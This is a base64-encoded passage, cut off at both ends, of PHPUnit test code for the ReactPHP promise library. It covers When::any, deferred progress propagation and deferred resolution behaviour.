pLAogICAgICAgICAgICAkbW9jawogICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVzb2x2ZVdpdGhBUHJvbWlzZWRJbnB1dFZhbHVlKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygxKSk7CgogICAgICAgIFdoZW46OmFueSgKICAgICAgICAgICAgYXJyYXkoV2hlbjo6cmVzb2x2ZSgxKSwgV2hlbjo6cmVzb2x2ZSgyKSwgV2hlbjo6cmVzb2x2ZSgzKSksCiAgICAgICAgICAgICRtb2NrCiAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZWplY3RXaXRoQWxsUmVqZWN0ZWRJbnB1dFZhbHVlc0lmQWxsSW5wdXRzQXJlUmVqZWN0ZWQoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKGFycmF5KDAgPT4gMSwgMSA9PiAyLCAyID0+IDMpKSk7CgogICAgICAgIFdoZW46OmFueSgKICAgICAgICAgICAgYXJyYXkoV2hlbjo6cmVqZWN0KDEpLCBXaGVuOjpyZWplY3QoMiksIFdoZW46OnJlamVjdCgzKSksCiAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICRtb2NrCiAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXNvbHZlV2hlbkZpcnN0SW5wdXRQcm9taXNlUmVzb2x2ZXMoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgV2hlbjo6YW55KAogICAgICAgICAgICBhcnJheShXaGVuOjpyZXNvbHZlKDEpLCBXaGVuOjpyZWplY3QoMiksIFdoZW46OnJlamVjdCgzKSksCiAgICAgICAgICAgICRtb2NrCiAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRBY2NlcHRBUHJvbWlzZUZvckFuQXJyYXkoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgV2hlbjo6YW55KAogICAgICAgICAgICBXaGVuOjpyZXNvbHZlKGFycmF5KDEsIDIsIDMpKSwKICAgICAgICAgICAgJG1vY2sKICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlc29sdmVUb051bGxBcnJheVdoZW5JbnB1dFByb21pc2VEb2VzTm90UmVzb2x2ZVRvQXJyYXkoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKG51bGwpKTsKCiAgICAgICAgV2hlbjo6YW55KAogICAgICAgICAgICBXaGVuOjpyZXNvbHZlKDEpLAogICAgICAgICAgICAkbW9jawogICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkTm90UmVseU9uQXJyeUluZGV4ZXNXaGVuVW53cmFwcGluZ1RvQVNpbmdsZVJlc29sdXRpb25WYWx1ZSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMikpOwoKICAgICAgICAkZDEgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZDIgPSBuZXcgRGVmZXJyZWQoKTsKCiAgICAgICAgV2hlbjo6YW55KAogICAgICAgICAgICBhcnJheSgnYWJjJyA9PiAkZDEtPnByb21pc2UoKSwgMSA9PiAkZDItPnByb21pc2UoKSksCiAgICAgICAgICAgICRtb2NrCiAgICAgICAgKTsKCiAgICAgICAgJGQyLT5yZXNvbHZlKDIpOwogICAgICAgICRkMS0+cmVzb2x2ZSgxKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgovKioKICogQGdyb3VwIERlZmVycmVkCiAqIEBncm91cCBEZWZlcnJlZFByb2dyZXNzCiAqLwpjbGFzcyBEZWZlcnJlZFByb2dyZXNzVGVzdCBleHRlbmRzIFRlc3RDYXNlCnsKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFByb2dyZXNzKCkKICAgIHsKICAgICAgICAkc2VudGluZWwgPSBuZXcgXHN0ZENsYXNzKCk7CgogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHNlbnRpbmVsKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5wcm9taXNlKCkKICAgICAgICAgICAgLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICRtb2NrKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5yZXNvbHZlcigpCiAgICAgICAgICAgIC0+cHJvZ3Jlc3MoJHNlbnRpbmVsKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRQcm9wYWdhdGVQcm9ncmVzc1RvRG93bnN0cmVhbVByb21pc2VzKCkKICAgIHsKICAgICAgICAkc2VudGluZWwgPSBuZXcgXHN0ZENsYXNzKCk7CgogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpbGwoJHRoaXMtPnJldHVybkFyZ3VtZW50KDApKTsKCiAgICAgICAgJG1vY2syID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrMgogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCRzZW50aW5lbCk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cHJvbWlzZSgpCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2sKICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICRtb2NrMgogICAgICAgICAgICApOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5wcm9ncmVzcygkc2VudGluZWwpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFByb3BhZ2F0ZVRyYW5zZm9ybWVkUHJvZ3Jlc3NUb0Rvd25zdHJlYW1Qcm9taXNlcygpCiAgICB7CiAgICAgICAgJHNlbnRpbmVsID0gbmV3IFxzdGRDbGFzcygpOwoKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aWxsKCR0aGlzLT5yZXR1cm5WYWx1ZSgkc2VudGluZWwpKTsKCiAgICAgICAgJG1vY2syID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrMgogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCRzZW50aW5lbCk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cHJvbWlzZSgpCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2sKICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICRtb2NrMgogICAgICAgICAgICApOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5wcm9ncmVzcygxKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRQcm9wYWdhdGVDYXVnaHRFeGNlcHRpb25WYWx1ZUFzUHJvZ3Jlc3MoKQogICAgewogICAgICAgICRleGNlcHRpb24gPSBuZXcgXEV4Y2VwdGlvbigpOwoKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aWxsKCR0aGlzLT50aHJvd0V4Y2VwdGlvbigkZXhjZXB0aW9uKSk7CgogICAgICAgICRtb2NrMiA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jazIKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJGV4Y2VwdGlvbikpOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnByb21pc2UoKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICRtb2NrCiAgICAgICAgICAgICkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkbW9jazIKICAgICAgICAgICAgKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5yZXNvbHZlcigpCiAgICAgICAgICAgIC0+cHJvZ3Jlc3MoMSk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkRm9yd2FyZFByb2dyZXNzRXZlbnRzV2hlbkludGVybWVkaWFyeUNhbGxiYWNrVGllZFRvQVJlc29sdmVkUHJvbWlzZVJldHVybnNBUHJvbWlzZSgpCiAgICB7CiAgICAgICAgJHNlbnRpbmVsID0gbmV3IFxzdGRDbGFzcygpOwoKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICRkMiA9IG5ldyBEZWZlcnJlZCgpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCRzZW50aW5lbCk7CgogICAgICAgIC8vIHJlc29sdmUgJGQgQkVGT1JFIGNhbGxpbmcgYXR0YWNoaW5nIHByb2dyZXNzIGhhbmRsZXIKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5yZXNvbHZlKCk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cHJvbWlzZSgpCiAgICAgICAgICAgIC0+dGhlbihmdW5jdGlvbiAoKSB1c2UgKCRkMikgewogICAgICAgICAgICAgICAgcmV0dXJuICRkMi0+cHJvbWlzZSgpOwogICAgICAgICAgICB9KQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICRtb2NrCiAgICAgICAgICAgICk7CgogICAgICAgICRkMgogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5wcm9ncmVzcygkc2VudGluZWwpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZEZvcndhcmRQcm9ncmVzc0V2ZW50c1doZW5JbnRlcm1lZGlhcnlDYWxsYmFja1RpZWRUb0FuVW5yZXNvbHZlZFByb21pc2VSZXR1cm5zQVByb21pc2UoKQogICAgewogICAgICAgICRzZW50aW5lbCA9IG5ldyBcc3RkQ2xhc3MoKTsKCiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZDIgPSBuZXcgRGVmZXJyZWQoKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkc2VudGluZWwpOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnByb21pc2UoKQogICAgICAgICAgICAtPnRoZW4oZnVuY3Rpb24gKCkgdXNlICgkZDIpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkZDItPnByb21pc2UoKTsKICAgICAgICAgICAgfSkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkbW9jawogICAgICAgICAgICApOwoKICAgICAgICAvLyByZXNvbHZlICRkIEFGVEVSIGNhbGxpbmcgYXR0YWNoaW5nIHByb2dyZXNzIGhhbmRsZXIKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5yZXNvbHZlKCk7CiAgICAgICAgJGQyCiAgICAgICAgICAgIC0+cmVzb2x2ZXIoKQogICAgICAgICAgICAtPnByb2dyZXNzKCRzZW50aW5lbCk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkRm9yd2FyZFByb2dyZXNzV2hlblJlc29sdmVkV2l0aEFub3RoZXJQcm9taXNlKCkKICAgIHsKICAgICAgICAkc2VudGluZWwgPSBuZXcgXHN0ZENsYXNzKCk7CgogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJGQyID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpbGwoJHRoaXMtPnJldHVyblZhbHVlKCRzZW50aW5lbCkpOwoKICAgICAgICAkbW9jazIgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2syCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHNlbnRpbmVsKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5wcm9taXNlKCkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkbW9jawogICAgICAgICAgICApCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2syCiAgICAgICAgICAgICk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cmVzb2x2ZXIoKQogICAgICAgICAgICAtPnJlc29sdmUoJGQyLT5wcm9taXNlKCkpOwogICAgICAgICRkMgogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5wcm9ncmVzcygkc2VudGluZWwpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZEFsbG93UmVzb2x2ZUFmdGVyUHJvZ3Jlc3MoKQogICAgewogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+YXQoMCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMSkpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+YXQoMSkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMikpOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnByb21pc2UoKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkbW9jaywKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkbW9jawogICAgICAgICAgICApOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5wcm9ncmVzcygxKTsKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5yZXNvbHZlKDIpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZEFsbG93UmVqZWN0QWZ0ZXJQcm9ncmVzcygpCiAgICB7CiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5hdCgwKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygxKSk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5hdCgxKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygyKSk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cHJvbWlzZSgpCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkbW9jaywKICAgICAgICAgICAgICAgICRtb2NrCiAgICAgICAgICAgICk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cmVzb2x2ZXIoKQogICAgICAgICAgICAtPnByb2dyZXNzKDEpOwogICAgICAgICRkCiAgICAgICAgICAgIC0+cmVzb2x2ZXIoKQogICAgICAgICAgICAtPnJlamVjdCgyKTsKICAgIH0KCiAgICAvKioKICAgICAqIEB0ZXN0CiAgICAgKiBAZGF0YVByb3ZpZGVyIGludmFsaWRDYWxsYmFja0RhdGFQcm92aWRlcgogICAgICoqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZElnbm9yZU5vbkZ1bmN0aW9uc0FuZFRyaWdnZXJQaHBOb3RpY2UoJHZhcikKICAgIHsKICAgICAgICAkZXJyb3JDb2xsZWN0b3IgPSBuZXcgRXJyb3JDb2xsZWN0b3IoKTsKICAgICAgICAkZXJyb3JDb2xsZWN0b3ItPnJlZ2lzdGVyKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZAogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgbnVsbCwKICAgICAgICAgICAgICAgICR2YXIKICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICRtb2NrCiAgICAgICAgICAgICk7CgogICAgICAgICRkLT5wcm9ncmVzcygxKTsKCiAgICAgICAgJGVycm9yQ29sbGVjdG9yLT5hc3NlcnRDb2xsZWN0ZWRFcnJvcignSW52YWxpZCAkcHJvZ3Jlc3NIYW5kbGVyIGFyZ3VtZW50IHBhc3NlZCB0byB0aGVuKCksIG11c3QgYmUgbnVsbCBvciBjYWxsYWJsZS4nLCBFX1VTRVJfTk9USUNFKTsKICAgICAgICAkZXJyb3JDb2xsZWN0b3ItPnVucmVnaXN0ZXIoKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgovKioKICogQGdyb3VwIERlZmVycmVkCiAqIEBncm91cCBEZWZlcnJlZFJlc29sdmUKICovCmNsYXNzIERlZmVycmVkUmVzb2x2ZVRlc3QgZXh0ZW5kcyBUZXN0Q2FzZQp7CiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXNvbHZlKCkKICAgIHsKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygxKSk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cHJvbWlzZSgpCiAgICAgICAgICAgIC0+dGhlbigkbW9jayk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cmVzb2x2ZXIoKQogICAgICAgICAgICAtPnJlc29sdmUoMSk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVzb2x2ZVdpdGhQcm9taXNlZFZhbHVlKCkKICAgIHsKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygxKSk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cHJvbWlzZSgpCiAgICAgICAgICAgIC0+dGhlbigkbW9jayk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cmVzb2x2ZXIoKQogICAgICAgICAgICAtPnJlc29sdmUobmV3IEZ1bGZpbGxlZFByb21pc2UoMSkpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlamVjdFdoZW5SZXNvbHZlZFdpdGhSZWplY3RlZFByb21pc2UoKQogICAgewogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5wcm9taXNlKCkKICAgICAgICAgICAgLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICRtb2NrKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5yZXNvbHZlcigpCiAgICAgICAgICAgIC0+cmVzb2x2ZShuZXcgUmVqZWN0ZWRQcm9taXNlKDEpKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXR1cm5BUHJvbWlzZUZvclRoZVJlc29sdXRpb25WYWx1ZSgpCiAgICB7CiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAg